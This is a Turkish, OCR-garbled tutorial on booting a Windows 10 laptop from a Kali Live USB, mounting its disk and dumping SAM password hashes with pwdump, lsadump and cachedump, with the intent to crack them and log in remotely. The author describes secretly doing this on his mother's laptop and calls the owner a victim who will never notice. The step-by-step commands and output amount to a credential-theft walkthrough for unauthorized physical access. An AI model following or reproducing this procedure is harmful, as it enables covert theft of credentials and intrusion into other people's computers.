Kali Live'den SAM Dosyasini Cekme
(+) Bu belgedeki islemler birebir denenmistir ve basariyla uygulanmigtir.

Bu yazida Windows kurulu makinay: Kali live USB diski ile baglatip Windows'taki SAM dosyasini
cekme anlatilacaktir. Tim bu siire¢ boyunca kullanilan isletim sistemleri sunlar olacaktir:

- Windows 10 // Hedef Sistem
- Kali Live 2016 // Hedef Sistemi Boot Edecek Isletim Sistemi

Oncelikle yapilacak adimlardan bahsedelim ve sonra bu adimlar teker teker uygulayalim. ilk olarak
kendi sistemimizde USB diskimizi Kali iso'su ile bootable yapacagiz. USB diskimiz hazirlandiktan
sonra yakin ¢evrede erisim imkanimiz olan bir sistemi hedef sececegiz ve USB diskimiz ile hedef
sistemi boot edecegiz. Daha sonra Kali Live ile boot ettigimiz hedef sistemin terminalinden hedef
sistemin HDD'si iizerindeki partition'larini listeleyecegiz ve iclerinden Windows'a ait olan partition'1
Kali Live'deki bir klasére mount edecegiz. Sonra o klasérden Windows'un SAM dosyasini
barindiran dizine gegip pwdump tool’u ile SAM dosyasini cekecegiz. Boylece boot ettigimiz hedef
sistemdeki Windows hesap 6zetlerini (hash'lerini) elde etmis olacagiz.

Not: pwdump tool’u bkhive ve samdump? tool'unun birlesimi mahiyetinde olan bir
tool’dur. Kali 2016’yla beraber bkhive tool’u artik gelmediginden pwdump tool’u
kullanimi tercih edilmistir.

Simdi anlatilanlar birer birer uygulayalim. Oncelikle USB diskimizi kendi sistemimizde bir yazilhim
ile hazir hale getirelim. UEFI kullanan sistemler Kali gibi linux dagitimlarin1 boot edemedikleri icin
USB diskimizi UEFI sistemlerinde uygun sekilde boot ettirecek YUMI UEFI yazilimini kullanalim.

UEFI YUMI Beta exe’sini calistirdigimizda asagidaki ekran bizi karsilayacaktir (Not: exe
dosyasina Windows’taki Not Késem/Pentest Yazilimlari dizininden erisebilirsin):
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Gelen ekrandaki select box’lar1 agsagidaki gibi dolduralim.
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Boylece USB diskimiz UEFI sistemlere uygun bir sekilde hazirlanmis olur. Simdi géziimiize
kestirdigimiz yakin cevredeki bir bilgisayara USB diskimizi takalim ve hedef sistemi USB
bellegimizle baglatalim.

Diyelim ki goziimiize kestirdigimiz bilgisayar annemin Casper laptop" olsun. Gizlice annemin
laptop’in1 acalim ve F2 tusuna basil tutarak BIOS ekranini acalim. Oradan Secure Boot secenegini
Disabled edelim.

Ardindan USB diskimizi boot edilecekler listesinde en iiste ¢ikaralim.

1. USB HDD: TOSHIBA TransMemory




Boylece hedef sistem USB diskimizi boot etmeye hazir hale gelmis olur. Simdi USB diskimiz hedef
sisteme takiliyken sistemi restart’layalim. Restart islemi sonrasi bizi YUMI yaziliminin USB
diskimize koydugu Grub ekrani karsilayacaktir.
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Ekrana gelen System Tools secenegine tiklayalim. Sonra akabinde gelen kali-linux-2016-amd64
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Son olarak da Debian-Linux Live (amd64) secenegine tiklayalim.

#*Debian GNUALiIiNnux - liwve {(amd64g)

Boylece Kali Live hedef sistemde baslayacaktir.




Hedef sistemi Kali Live ile baglattigimiza gore simdi yapilacaklar hedef sistemin hdd’sindeki
Windows partition’1nin1 bulmak, Kali Live’e mount etmek ve SAM dosyasini ¢ekmektir. Bunlari
yapmaya baslamadan 6nce klavyemiz US olacagindan kodlan yazarken kolaylik olsun diye klavye
ayarini TR yapalim.

> setxkbmap tr

root@kali: ~

Audio Disc File Edit View Search Terminal Help

~# setxkbmap tr
~#

Sonra boot ettigimiz hedef sistemin Windows partition'in1 bulmak i¢in fdisk tool'unu kullanalim.

> fdisk -1

File Edit View Search Terminal Help
= et tr

Device Start End Sectors Size Type

/dev/sdal 2648 616447 6144606 306M Wind

/dev/sda2 616448 1148927 5324806 266M EF em

/dev/sda3 1148928 1411671 262144 128M Microsoft r
fdev/sdad 1411672 9444506438 943039367 449.7G Microsoft b
J/dev/sda5 944451584 946053119 1601536 782M Windows rec
Jdev/sda6 946653120 976773119 30720008 14.7G Microsoft basic data

Disk /dev/sdb: 3.6 GiB, 3878043648 bytes, 7574304 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes
1/0 size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

Disk identifier: 0x00316572

Device Boot Start End Sectors Size Id Type
/dev/sdbl * 2048 7574303 7572256 3.6G ¢ W95 FAT32 (LBA)

Disk /dev/loop@: 2.4 GiB, 2556620800 bytes, 4993400 sectors
Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

1/0 size (minimum/optimal): 512 bytes / 512 bytes
root@kali:~# i




Bir siirii sda partition’1 siralanmistir. Bunlardan hangisinin Windows dosyalarini icerdigi birkac

deneme sonrasi anlasilacaktir. Biz /dev/sda4 partition’inin1 Kali Live’in /root/windows dizinine
mount edelim.

> mkdir windows
> mount -o ro /dev/sda4 /root/windows // ro ile read only olarak mount ederiz. Diger

// tiirlii mount edilmiyor. Cilinkii SAM dosyasina
// saldirganlar kullanic1 eklemesinler diye

// Windows diske offline’ken write engeli

/I koymaktadir.

rﬂﬁt@ka[i:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:~# mkdir windows

root@kali:~# mount -o ro /dev/sda4 /root/windows
root@kali:~# i

hbddbdddddddi

Windows partition'l /root/windows dizinine mount edilmis mi diye bakmak icin /root/windows
dizinine gecelim ve ls yaparak Windows dosyalarini siralayalim:

> cd /root/windows
>1s

root@kali

root@kali:
root@kali:
root@kali:
root@kali:

kali:

t 1i:
s @kali:~# cd windows/
oot@kali:~/windows# 1s

Documents and Settings

R IR e

I
APPLog. ini
bootmgr
BOOTNXT hiberfil.sys pagefile.sys
root@kali:~/windows#




Goriildiigii tizere Windows'un C siiriiciisiine ait dosyalar siralanmigtir. Simdi C siiriiciisii icerisinde
SAM dosyasinin yer aldig1 dizine gecis yapalim.

> cd Windows/System32/config
Ardindan pwdump tool’u ile SAM dosyasinin icerigini dump edelim.
> pwdump SYSTEM SAM // Bazi sistemelerde SYSTEM ve SAM dosya isimleri
// kiigiik harfli olabiliyor. Enesinkinde dyleydi. Oylesi

// durumda dosya isimlerini kiigiik yaz. Yoksa
// pwdump calismiyor.

R

fig#
t~/windows /Windows/System32/config# pwdump SYSTEM SAM
rator:500:aad3b435b51404eeaad3b435b51404ce : 31d6c fe@d16ae931b73c59d7eBcO89CE: : :
Guest :501 : aad3b435b51404eeaad3b435b51404ee : 31d6c fedd16ae931b73c59d7e0c 0890 : : :
VarsayilanHesap :503:aad3b435b51404eeaad3b435b51404ee : 31d6c fedd16ae931b73c59d7e0cO8ICA : : =
yusuf:1001 :aad3b435b51404eeaad3b435b51404ee : 31d6c fe@d16ae931b73¢59d7e0c089¢cO: : :

HomeGroupUsers$ : 1003 : aad3b435b51404eeaad3b435b51404ee : d5d06e016407a255caa7725d809d0a78: : :
hefes:1004:aad3b435b51404eeaad3b435b51404ee :31d6c fe@d16ae931b73c59d7e0cO8IcO: : :
root@kali:~/windows/Windows/System32/config# [J

Boylece hesap 6zetlerini elde etmis olduk. Simdi yapilacak islem bu hash'leri not etmek ve kendi
bilgisayarimiza cekilip hash'leri hashcat ya da john the ripper tool'lari ile brute force yaparak
kirmaktir.

Sonuc¢

Fiziksel manada erisebildigimiz bir hedef bilgisayar goziimiize kestirdik. Hazirladigimiz USB disk
ile hedef bilgisayar1 boot ettik. Hedef bilgisayardaki Windows partition'in1 Kali Live'in bir dizinine
mount ettik. SAM dosyasina dogru ilerledik. pwdump tool’u ile SAM dosyasinin igerigini cektik.
Hash'leri alip hedef sistemi kapattik. Bu noktadan sonra kendi bilgisayarimiza gekilip hash'leri
kirmaya calisabiliriz ve yaptigimiz islemlerden kurbanin ruhu bile duymaz. Hash'leri sayet kirarsak
uzaktan hedef sistemde oturum acabiliriz. Boylece hedef sistemin komut satirini alarak hedef
sistemin karsisinda oturuyormus gibi diledigimiz her seyi yapabiliriz.



Ekstra

Annemin bilgisayarindan pwdump ile ¢ektigim hash’ler su sekildeydi:

> pwdump SYSTEM SAM

Output:

administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
Varsayilan:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0:::
Yusuf:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroup:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hefese:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

SAM dosyasinin syntax’1 ise su sekildedir:

<User>:<ID>:<LM hash>:<NTLM hash>:<Comment>:<Path>

Fark ettiysen SAM dosyasindaki hash’ler (hem LM hash’leri hem de NTLM hash’leri) hep
NULL’dir. SAM dosyasinin her satirinda LM hash’i olarak

aad3b435b51404eeaad3b435b51404ee

string’i vardir. SAM dosyasinin yine her satirnda NTLM hash’i olarak

31d6cfe0d16ae931b73c59d7e0c089c0

string’i vardir. Bu hash’ler LM ve NTLM’de empty password anlamina gelmektedirler. Peki ama
annemin bilgisayar sifreli olmasina ragmen neden tiim hash’ler empty password seklindeler?
Bunun nedeni Microsoft’un Windows 10 yildéniimii giincellemesinde sakl (bkz.
http://security.stack exchange.com/questions/145278/pwdump-gives-me-blank-passwords-as-hash-
although-there-are-passwords) Gelen yenilige gore Windows kullanicilarinin hesap bilgileri artik
SAM dosyasina daha farkl sekilde depolaniyormus. Ayrica kullanilan hash algoritmasi olarak da
artik AES sifrelemesi kullaniliyormus. Bu nedenle pwdump tool’u yeni SAM dosyasini
okuyamadigindan siirekli empty hash dondiirmiistiir. Bu noktadan sonra yapilacak sey mevcut
tool’larin giincellenmesini ya da yeni tool’larin ¢ikmasini beklemektir. Goériinen o ki o zamana dek
SAM dosyasindan faydalanmamiz miimkiin degil.



pwdump tool’unun kardesleri olan Isadump ve cachedump tool’lar1 da hedef sistemde acaba olur
mu diye denenmistir (Not: pwdump, Isadump ve cachedump’1n iicii de creddump adli paketin
icerisinde yer almaktadirlar) Ancak onlar da empty password yerine syntax hatasi vermislerdir.

> lsadump SYSTEM SECURITY // Bu tool SECURITY dosyasini kullaniyor.
Output:
..., line 135, in get_file_secrets

..., line 126, in get_secrets
..., line 66, in decrypt_secret

> cachedump SYSTEM SECURITY // Bu tool SECURITY dosyasini kullaniyor.
Output:
ERR:Couldn't find subkey PolSecretEncryptionKey of Policy

Hatalardan anlasildig1 kadariyla bu tool’lar ya bug’dan dolay1 ya da y1l déniimii giincellemesi
dolayisiyla yeni SAM dosyasini okuyamadiklarindan dolay: hata vermislerdir. Dolayisiyla esas
sifrelere ait hash’ler elde edilememistir. Yeni tool’lar gelene kadar ya da mevcut tool’lara
giincellestirmeler gelene kadar beklemek durumundayiz.

Not: Bir bagka parola elde etme araci olan mimikatz tool’unun gelistiricisi Benjamin Delphy
Windows’un yaptig1 yildoniimii giincellestirmesi sonras1 mimikatz tool’unu giincellestirdigini
duyurmustur. (bkz. https://twitter.com /gentilkiwi/status/762465220132384770)
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